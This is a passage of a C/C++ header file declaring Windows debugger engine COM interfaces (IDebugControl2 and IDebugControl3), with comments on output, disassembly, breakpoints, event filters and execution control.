clients\n // output callbacks if the mask is allowed\n // by the current output control mask and\n // according to the output distribution\n // settings.\n STDMETHODV(Output)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputVaList)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n // The following methods allow direct control\n // over the distribution of the given output\n // for situations where something other than\n // the default is desired. These methods require\n // extra work in the engine so they should\n // only be used when necessary.\n STDMETHODV(ControlledOutput)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(ControlledOutputVaList)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n\n // Displays the standard command-line prompt\n // followed by the given output. If Format\n // is NULL no additional output is produced.\n // Output is produced under the\n // DEBUG_OUTPUT_PROMPT mask.\n // This method only outputs the prompt; it\n // does not get input.\n STDMETHODV(OutputPrompt)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputPromptVaList)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n __in va_list Args\n ) PURE;\n // Gets the text that would be displayed by OutputPrompt.\n STDMETHOD(GetPromptText)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // Outputs information about the current\n // debuggee state such as a register\n // summary, disassembly at the current PC,\n // closest symbol and others.\n // Uses the line prefix.\n STDMETHOD(OutputCurrentState)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // Outputs the debugger and extension version\n // information. This method is reentrant.\n // Uses the line prefix.\n STDMETHOD(OutputVersionInformation)(\n THIS_\n __in ULONG OutputControl\n ) PURE;\n\n // In user-mode debugging sessions the\n // engine will set an event when\n // exceptions are continued. This can\n // be used to synchronize other processes\n // with the debuggers handling of events.\n // For example, this is used to support\n // the e argument to ntsd.\n STDMETHOD(GetNotifyEventHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(SetNotifyEventHandle)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n STDMETHOD(Assemble)(\n THIS_\n __in ULONG64 Offset,\n __in PCSTR Instr,\n __out PULONG64 EndOffset\n ) PURE;\n STDMETHOD(Disassemble)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DisassemblySize,\n __out PULONG64 EndOffset\n ) PURE;\n // Returns the value of the effective address\n // computed for the last Disassemble, if there\n // was one.\n STDMETHOD(GetDisassembleEffectiveOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Uses the line prefix if necessary.\n STDMETHOD(OutputDisassembly)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out PULONG64 EndOffset\n ) PURE;\n // Produces multiple lines of disassembly output.\n // There will be PreviousLines of disassembly before\n // the given offset if a valid disassembly exists.\n // In all, there will be TotalLines of output produced.\n // The first and last line offsets are returned\n // specially and all lines offsets can be retrieved\n // through LineOffsets. LineOffsets will contain\n // offsets for each line where disassembly started.\n // When disassembly of a single instruction takes\n // multiple lines the initial offset will be followed\n // by DEBUG_INVALID_OFFSET.\n // Uses the line prefix.\n STDMETHOD(OutputDisassemblyLines)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG PreviousLines,\n __in ULONG TotalLines,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_opt PULONG OffsetLine,\n __out_opt PULONG64 StartOffset,\n __out_opt PULONG64 EndOffset,\n __out_ecount_opt(TotalLines) PULONG64 LineOffsets\n ) PURE;\n // Returns the offset of the start of\n // the instruction thats the given\n // delta away from the instruction\n // at the initial offset.\n // This routine does not check for\n // validity of the instruction or\n // the memory containing it.\n STDMETHOD(GetNearInstruction)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out PULONG64 NearOffset\n ) PURE;\n\n // Offsets can be passed in as zero to use the current\n // thread state.\n STDMETHOD(GetStackTrace)(\n THIS_\n __in ULONG64 FrameOffset,\n __in ULONG64 StackOffset,\n __in ULONG64 InstructionOffset,\n __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __out_opt PULONG FramesFilled\n ) PURE;\n // Does a simple stack trace to determine\n // what the current return address is.\n STDMETHOD(GetReturnOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // If Frames is NULL OutputStackTrace will\n // use GetStackTrace to get FramesSize frames\n // and then output them. The current register\n // values for frame, stack and instruction offsets\n // are used.\n // Uses the line prefix.\n STDMETHOD(OutputStackTrace)(\n THIS_\n __in ULONG OutputControl,\n __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __in ULONG Flags\n ) PURE;\n\n // Returns information about the debuggee such\n // as user vs. kernel, dump vs. live, etc.\n STDMETHOD(GetDebuggeeType)(\n THIS_\n __out PULONG Class,\n __out PULONG Qualifier\n ) PURE;\n // Returns the type of physical processors in\n // the machine.\n // Returns one of the IMAGE_FILE_MACHINE values.\n STDMETHOD(GetActualProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Returns the type of processor used in the\n // current processor context.\n STDMETHOD(GetExecutingProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Query all the possible processor types that\n // may be encountered during this debug session.\n STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetPossibleExecutingProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Types\n ) PURE;\n // Get the number of actual processors in\n // the machine.\n STDMETHOD(GetNumberProcessors)(\n THIS_\n __out PULONG Number\n ) PURE;\n // PlatformId is one of the VER_PLATFORM values.\n // Major and minor are as given in the NT\n // kernel debugger protocol.\n // ServicePackString and ServicePackNumber indicate the\n // system service pack level. ServicePackNumber is not\n // available in some sessions where the service pack level\n // is only expressed as a string. The service pack information\n // will be empty if the system does not have a service pack\n // applied.\n // The build string is string information identifying the\n // particular build of the system. The build string is\n // empty if the system has no particular identifying\n // information.\n STDMETHOD(GetSystemVersion)(\n THIS_\n __out PULONG PlatformId,\n __out PULONG Major,\n __out PULONG Minor,\n __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,\n __in ULONG ServicePackStringSize,\n __out_opt PULONG ServicePackStringUsed,\n __out PULONG ServicePackNumber,\n __out_ecount_opt(BuildStringSize) PSTR BuildString,\n __in ULONG BuildStringSize,\n __out_opt PULONG BuildStringUsed\n ) PURE;\n // Returns the page size for the currently executing\n // processor context. The page size may vary between\n // processor types.\n STDMETHOD(GetPageSize)(\n THIS_\n __out PULONG Size\n ) PURE;\n // Returns S_OK if the current processor context uses\n // 64-bit addresses, otherwise S_FALSE.\n STDMETHOD(IsPointer64Bit)(\n THIS\n ) PURE;\n // Reads the bugcheck data area and returns the\n // current contents. This method only works\n // in kernel debugging sessions.\n STDMETHOD(ReadBugCheckData)(\n THIS_\n __out PULONG Code,\n __out PULONG64 Arg1,\n __out PULONG64 Arg2,\n __out PULONG64 Arg3,\n __out PULONG64 Arg4\n ) PURE;\n\n // Query all the processor types supported by\n // the engine. This is a complete list and is\n // not related to the machine running the engine\n // or the debuggee.\n STDMETHOD(GetNumberSupportedProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetSupportedProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Types\n ) PURE;\n // Returns a full, descriptive name and an\n // abbreviated name for a processor type.\n STDMETHOD(GetProcessorTypeNames)(\n THIS_\n __in ULONG Type,\n __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n // Gets and sets the type of processor to\n // use when doing things like setting\n // breakpoints, accessing registers,\n // getting stack traces and so on.\n STDMETHOD(GetEffectiveProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n STDMETHOD(SetEffectiveProcessorType)(\n THIS_\n __in ULONG Type\n ) PURE;\n\n // Returns information about whether and how\n // the debuggee is running. Status will\n // be GO if the debuggee is running and\n // BREAK if it isnt.\n // If no debuggee exists the status is\n // NO_DEBUGGEE.\n // This method is reentrant.\n STDMETHOD(GetExecutionStatus)(\n THIS_\n __out PULONG Status\n ) PURE;\n // Changes the execution status of the\n // engine from stopped to running.\n // Status must be one of the go or step\n // status values.\n STDMETHOD(SetExecutionStatus)(\n THIS_\n __in ULONG Status\n ) PURE;\n\n // Controls what code interpretation level the debugger\n // runs at. The debugger checks the code level when\n // deciding whether to step by a source line or\n // assembly instruction along with other related operations.\n STDMETHOD(GetCodeLevel)(\n THIS_\n __out PULONG Level\n ) PURE;\n STDMETHOD(SetCodeLevel)(\n THIS_\n __in ULONG Level\n ) PURE;\n\n // Gets and sets engine control flags.\n // These methods are reentrant.\n STDMETHOD(GetEngineOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Gets and sets control values for\n // handling system error events.\n // If the system error level is less\n // than or equal to the given levels\n // the error may be displayed and\n // the default break for the event\n // may be set.\n STDMETHOD(GetSystemErrorControl)(\n THIS_\n __out PULONG OutputLevel,\n __out PULONG BreakLevel\n ) PURE;\n STDMETHOD(SetSystemErrorControl)(\n THIS_\n __in ULONG OutputLevel,\n __in ULONG BreakLevel\n ) PURE;\n\n // The command processor supports simple\n // string replacement macros in Evaluate and\n // Execute. There are currently ten macro\n // slots available. Slots 0-9 map to\n // the command invocations $u0-$u9.\n STDMETHOD(GetTextMacro)(\n THIS_\n __in ULONG Slot,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MacroSize\n ) PURE;\n STDMETHOD(SetTextMacro)(\n THIS_\n __in ULONG Slot,\n __in PCSTR Macro\n ) PURE;\n\n // Controls the default number radix used\n // in expressions and commands.\n STDMETHOD(GetRadix)(\n THIS_\n __out PULONG Radix\n ) PURE;\n STDMETHOD(SetRadix)(\n THIS_\n __in ULONG Radix\n ) PURE;\n\n // Evaluates the given expression string and\n // returns the resulting value.\n // If DesiredType is DEBUG_VALUE_INVALID then\n // the natural type is used.\n // RemainderIndex, if provided, is set to the index\n // of the first character in the input string that was\n // not used when evaluating the expression.\n STDMETHOD(Evaluate)(\n THIS_\n __in PCSTR Expression,\n __in ULONG DesiredType,\n __out PDEBUG_VALUE Value,\n __out_opt PULONG RemainderIndex\n ) PURE;\n // Attempts to convert the input value to a value\n // of the requested type in the output value.\n // Conversions can fail if no conversion exists.\n // Successful conversions may be lossy.\n STDMETHOD(CoerceValue)(\n THIS_\n __in PDEBUG_VALUE In,\n __in ULONG OutType,\n __out PDEBUG_VALUE Out\n ) PURE;\n STDMETHOD(CoerceValues)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_VALUE In,\n __in_ecount(Count) PULONG OutTypes,\n __out_ecount(Count) PDEBUG_VALUE Out\n ) PURE;\n\n // Executes the given command string.\n // If the string has multiple commands\n // Execute will not return until all\n // of them have been executed. If this\n // requires waiting for the debuggee to\n // execute an internal wait will be done\n // so Execute can take an arbitrary amount\n // of time.\n STDMETHOD(Execute)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Command,\n __in ULONG Flags\n ) PURE;\n // Executes the given command file by\n // reading a line at a time and processing\n // it with Execute.\n STDMETHOD(ExecuteCommandFile)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR CommandFile,\n __in ULONG Flags\n ) PURE;\n\n // Breakpoint interfaces are described\n // elsewhere in this section.\n STDMETHOD(GetNumberBreakpoints)(\n THIS_\n __out PULONG Number\n ) PURE;\n // It is possible for this retrieval function to\n // fail even with an index within the number of\n // existing breakpoints if the breakpoint is\n // a private breakpoint.\n STDMETHOD(GetBreakpointByIndex)(\n THIS_\n __in ULONG Index,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n STDMETHOD(GetBreakpointById)(\n THIS_\n __in ULONG Id,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // If Ids is non-NULL the Count breakpoints\n // referred to in the Ids array are returned,\n // otherwise breakpoints from index Start to\n // Start + Count 1 are returned.\n STDMETHOD(GetBreakpointParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Ids,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params\n ) PURE;\n // Breakpoints are created empty and disabled.\n // When their parameters have been set they\n // should be enabled by setting the ENABLE flag.\n // If DesiredId is DEBUG_ANY_ID then the\n // engine picks an unused ID. If DesiredId\n // is any other number the engine attempts\n // to use the given ID for the breakpoint.\n // If another breakpoint exists with that ID\n // the call will fail.\n STDMETHOD(AddBreakpoint)(\n THIS_\n __in ULONG Type,\n __in ULONG DesiredId,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // Breakpoint interface is invalid after this call.\n STDMETHOD(RemoveBreakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT Bp\n ) PURE;\n\n // Control and use extension DLLs.\n STDMETHOD(AddExtension)(\n THIS_\n __in PCSTR Path,\n __in ULONG Flags,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(RemoveExtension)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n STDMETHOD(GetExtensionByPath)(\n THIS_\n __in PCSTR Path,\n __out PULONG64 Handle\n ) PURE;\n // If Handle is zero the extension\n // chain is walked searching for the\n // function.\n STDMETHOD(CallExtension)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR Function,\n __in_opt PCSTR Arguments\n ) PURE;\n // GetExtensionFunction works like\n // GetProcAddress on extension DLLs\n // to allow raw function-call-level\n // interaction with extension DLLs.\n // Such functions do not need to\n // follow the standard extension prototype\n // if they are not going to be called\n // through the text extension interface.\n // This function cannot be called remotely.\n STDMETHOD(GetExtensionFunction)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR FuncName,\n __out FARPROC* Function\n ) PURE;\n // These methods return alternate\n // extension interfaces in order to allow\n // interface-style extension DLLs to mix in\n // older extension calls.\n // Structure sizes must be initialized before\n // the call.\n // These methods cannot be called remotely.\n STDMETHOD(GetWindbgExtensionApis32)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS32 Api\n ) PURE;\n STDMETHOD(GetWindbgExtensionApis64)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS64 Api\n ) PURE;\n\n // The engine provides a simple mechanism\n // to filter common events. Arbitrarily complicated\n // filtering can be done by registering event callbacks\n // but simple event filtering only requires\n // setting the options of one of the predefined\n // event filters.\n // Simple event filters are either for specific\n // events and therefore have an enumerant or\n // they are for an exception and are based on\n // the exceptions code. Exception filters\n // are further divided into exceptions specially\n // handled by the engine, which is a fixed set,\n // and arbitrary exceptions.\n // All three groups of filters are indexed together\n // with the specific filters first, then the specific\n // exception filters and finally the arbitrary\n // exception filters.\n // The first specific exception is the default\n // exception. If an exception event occurs for\n // an exception without settings the default\n // exception settings are used.\n STDMETHOD(GetNumberEventFilters)(\n THIS_\n __out PULONG SpecificEvents,\n __out PULONG SpecificExceptions,\n __out PULONG ArbitraryExceptions\n ) PURE;\n // Some filters have descriptive text associated with them.\n STDMETHOD(GetEventFilterText)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // All filters support executing a command when the\n // event occurs.\n STDMETHOD(GetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n STDMETHOD(GetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n STDMETHOD(SetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n // Some specific filters have arguments to further\n // qualify their operation.\n STDMETHOD(GetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ArgumentSize\n ) PURE;\n STDMETHOD(SetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __in PCSTR Argument\n ) PURE;\n // If Codes is non-NULL Start is ignored.\n STDMETHOD(GetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Codes,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // The codes in the parameter data control the application\n // of the parameter data. If a code is not already in\n // the set of filters it is added. If the ExecutionOption\n // for a code is REMOVE then the filter is removed.\n // Specific exception filters cannot be removed.\n STDMETHOD(SetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // Exception filters support an additional command for\n // second-chance events.\n STDMETHOD(GetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n\n // Yields processing to the engine until\n // an event occurs. This method may\n // only be called by the thread that started\n // the debug session.\n // When an event occurs the engine carries\n // out all event processing such as calling\n // callbacks.\n // If the callbacks indicate that execution should\n // break the wait will return, otherwise it\n // goes back to waiting for a new event.\n // If the timeout expires, S_FALSE is returned.\n // The timeout is not currently supported for\n // kernel debugging.\n STDMETHOD(WaitForEvent)(\n THIS_\n __in ULONG Flags,\n __in ULONG Timeout\n ) PURE;\n\n // Retrieves information about the last event that occurred.\n // EventType is one of the event callback mask bits.\n // ExtraInformation contains additional event-specific\n // information. Not all events have additional information.\n STDMETHOD(GetLastEventInformation)(\n THIS_\n __out PULONG Type,\n __out PULONG ProcessId,\n __out PULONG ThreadId,\n __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,\n __in ULONG ExtraInformationSize,\n __out_opt PULONG ExtraInformationUsed,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG DescriptionUsed\n ) PURE;\n\n // IDebugControl2.\n\n STDMETHOD(GetCurrentTimeDate)(\n THIS_\n __out PULONG TimeDate\n ) PURE;\n // Retrieves the number of seconds since the\n // machine started running.\n STDMETHOD(GetCurrentSystemUpTime)(\n THIS_\n __out PULONG UpTime\n ) PURE;\n\n // If the current session is a dump session,\n // retrieves any extended format information.\n STDMETHOD(GetDumpFormatFlags)(\n THIS_\n __out PULONG FormatFlags\n ) PURE;\n\n // The debugger has been enhanced to allow\n // arbitrary text replacements in addition\n // to the simple $u0-$u9 text macros.\n // Text replacement takes a given source\n // text in commands and converts it to the\n // given destination text. Replacements\n // are named by their source text so that\n // only one replacement for a source text\n // string can exist.\n STDMETHOD(GetNumberTextReplacements)(\n THIS_\n __out PULONG NumRepl\n ) PURE;\n // If SrcText is non-NULL the replacement\n // is looked up by source text, otherwise\n // Index is used to get the Nth replacement.\n STDMETHOD(GetTextReplacement)(\n THIS_\n __in_opt PCSTR SrcText,\n __in ULONG Index,\n __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer,\n __in ULONG SrcBufferSize,\n __out_opt PULONG SrcSize,\n __out_ecount_opt(DstBufferSize) PSTR DstBuffer,\n __in ULONG DstBufferSize,\n __out_opt PULONG DstSize\n ) PURE;\n // Setting the destination text to\n // NULL removes the alias.\n STDMETHOD(SetTextReplacement)(\n THIS_\n __in PCSTR SrcText,\n __in_opt PCSTR DstText\n ) PURE;\n STDMETHOD(RemoveTextReplacements)(\n THIS\n ) PURE;\n // Outputs the complete list of current\n // replacements.\n STDMETHOD(OutputTextReplacements)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n};\n\n//\n// Assembly/disassembly options.\n//\n// The specific effects of these flags varies depending\n// on the particular instruction set.\n//\n\n#define DEBUG_ASMOPT_DEFAULT 0x00000000\n// Display additional information in disassembly.\n#define DEBUG_ASMOPT_VERBOSE 0x00000001\n// Do not display raw code bytes in disassembly.\n#define DEBUG_ASMOPT_NO_CODE_BYTES 0x00000002\n// Do not take the output width into account when\n// formatting disassembly.\n#define DEBUG_ASMOPT_IGNORE_OUTPUT_WIDTH 0x00000004\n// Display source file line number before each line if available.\n#define DEBUG_ASMOPT_SOURCE_LINE_NUMBER 0x00000008\n\n//\n// Expression syntax options.\n//\n\n// MASM-style expression evaluation.\n#define DEBUG_EXPR_MASM 0x00000000\n// C++-style expression evaluation.\n#define DEBUG_EXPR_CPLUSPLUS 0x00000001\n\n//\n// Event index description information.\n//\n\n#define DEBUG_EINDEX_NAME 0x00000000\n\n//\n// SetNextEventIndex relation options.\n//\n\n// Value increases forward from the first index.\n#define DEBUG_EINDEX_FROM_START 0x00000000\n// Value increases backwards from the last index.\n#define DEBUG_EINDEX_FROM_END 0x00000001\n// Value is a signed delta from the current index.\n#define DEBUG_EINDEX_FROM_CURRENT 0x00000002\n\n#undef INTERFACE\n#define INTERFACE IDebugControl3\nDECLARE_INTERFACE_(IDebugControl3, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugControl.\n\n // Checks for a user interrupt, such a Ctrl-C\n // or stop button.\n // This method is reentrant.\n STDMETHOD(GetInterrupt)(\n THIS\n ) PURE;\n // Registers a user interrupt.\n // This method is reentrant.\n STDMETHOD(SetInterrupt)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Interrupting a user-mode process requires\n // access to some system resources that the\n // process may hold itself, preventing the\n // interrupt from occurring. The engine\n // will time-out pending interrupt requests\n // and simulate an interrupt if necessary.\n // These methods control the interrupt timeout.\n STDMETHOD(GetInterruptTimeout)(\n THIS_\n __out PULONG Seconds\n ) PURE;\n STDMETHOD(SetInterruptTimeout)(\n THIS_\n __in ULONG Seconds\n ) PURE;\n\n STDMETHOD(GetLogFile)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FileSize,\n __out PBOOL Append\n ) PURE;\n // Opens a log file which collects all\n // output. Output from every client except\n // those that explicitly disable logging\n // goes into the log.\n // Opening a log file closes any log file\n // already open.\n STDMETHOD(OpenLogFile)(\n THIS_\n __in PCSTR File,\n __in BOOL Append\n ) PURE;\n STDMETHOD(CloseLogFile)(\n THIS\n ) PURE;\n // Controls what output is logged.\n STDMETHOD(GetLogMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetLogMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n\n // Input requests input from all clients.\n // The first input that is returned is used\n // to satisfy the call. Other returned\n // input is discarded.\n STDMETHOD(Input)(\n THIS_\n __out_ecount(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InputSize\n ) PURE;\n // This method is used by clients to return\n // input when it is available. It will\n // return S_OK if the input is used to\n // satisfy an Input call and S_FALSE if\n // the input is ignored.\n // This method is reentrant.\n STDMETHOD(ReturnInput)(\n THIS_\n __in PCSTR Buffer\n ) PURE;\n\n // Sends output through clients\n // output callbacks if the mask is allowed\n // by the current output control mask and\n // according to the output distribution\n // settings.\n STDMETHODV(Output)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputVaList)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n // The following methods allow direct control\n // over the distribution of the given output\n // for situations where something other than\n // the default is desired. These methods require\n // extra work in the engine so they should\n // only be used when necessary.\n STDMETHODV(ControlledOutput)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(ControlledOutputVaList)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n\n // Displays the standard command-line prompt\n // followed by the given output. If Format\n // is NULL no additional output is produced.\n // Output is produced under the\n // DEBUG_OUTPUT_PROMPT mask.\n // This method only outputs the prompt; it\n // does not get input.\n STDMETHODV(OutputPrompt)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputPromptVaList)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n __in va_list Args\n ) PURE;\n // Gets the text that would be displayed by OutputPrompt.\n STDMETHOD(GetPromptText)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // Outputs information about the current\n // debuggee state such as a register\n // summary, disassembly at the current PC,\n // closest symbol and others.\n // Uses the line prefix.\n STDMETHOD(OutputCurrentState)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // Outputs the debugger and extension version\n // information. This method is reentrant.\n // Uses the line prefix.\n STDMETHOD(OutputVersionInformation)(\n THIS_\n __in ULONG OutputControl\n ) PURE;\n\n // In user-mode debugging sessions the\n // engine will set an event when\n // exceptions are continued. This can\n // be used to synchronize other processes\n // with the debuggers handling of events.\n // For example, this is used to support\n // the e argument to ntsd.\n STDMETHOD(GetNotifyEventHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(SetNotifyEventHandle)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n STDMETHOD(Assemble)(\n THIS_\n __in ULONG64 Offset,\n __in PCSTR Instr,\n __out PULONG64 EndOffset\n ) PURE;\n STDMETHOD(Disassemble)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DisassemblySize,\n __out PULONG64 EndOffset\n ) PURE;\n // Returns the value of the effective address\n // computed for the last Disassemble, if there\n // was one.\n STDMETHOD(GetDisassembleEffectiveOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Uses the line prefix if necessary.\n STDMETHOD(OutputDisassembly)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out PULONG64 EndOffset\n ) PURE;\n // Produces multiple lines of disassembly output.\n // There will be PreviousLines of disassembly before\n // the given offset if a valid disassembly exists.\n // In all, there will be TotalLines of output produced.\n // The first and last line offsets are returned\n // specially and all lines offsets can be retrieved\n // through LineOffsets. LineOffsets will contain\n // offsets for each line where disassembly started.\n // When disassembly of a single instruction takes\n // multiple lines the initial offset will be followed\n // by DEBUG_INVALID_OFFSET.\n // Uses the line prefix.\n STDMETHOD(OutputDisassemblyLines)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG PreviousLines,\n __in ULONG TotalLines,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_opt PULONG OffsetLine,\n __out_opt PULONG64 StartOffset,\n __out_opt PULONG64 EndOffset,\n __out_ecount_opt(TotalLines) PULONG64 LineOffsets\n ) PURE;\n // Returns the offset of the start of\n // the instruction thats the given\n // delta away from the instruction\n // at the initial offset.\n // This routine does not check for\n // validity of the instruction or\n // the memory containing it.\n STDMETHOD(GetNearInstruction)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out PULONG64 NearOffset\n ) PURE;\n\n // Offsets can be passed in as zero to use the current\n // thread state.\n STDMETHOD(GetStackTrace)(\n THIS_\n __in ULONG64 FrameOffset,\n __in ULONG64 StackOffset,\n __in ULONG64 InstructionOffset,\n __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __out_opt PULONG FramesFilled\n ) PURE;\n // Does a simple stack trace to determine\n // what the current return address is.\n STDMETHOD(GetReturnOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // If Frames is NULL OutputStackTrace will\n // use GetStackTrace to get FramesSize frames\n // and then output them. The current register\n // values for frame, stack and instruction offsets\n // are used.\n // Uses the line prefix.\n STDMETHOD(OutputStackTrace)(\n THIS_\n __in ULONG OutputControl,\n __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __in ULONG Flags\n ) PURE;\n\n // Returns information about the debuggee such\n // as user vs. kernel, dump vs. live, etc.\n STDMETHOD(GetDebuggeeType)(\n THIS_\n __out PULONG Class,\n __out PULONG 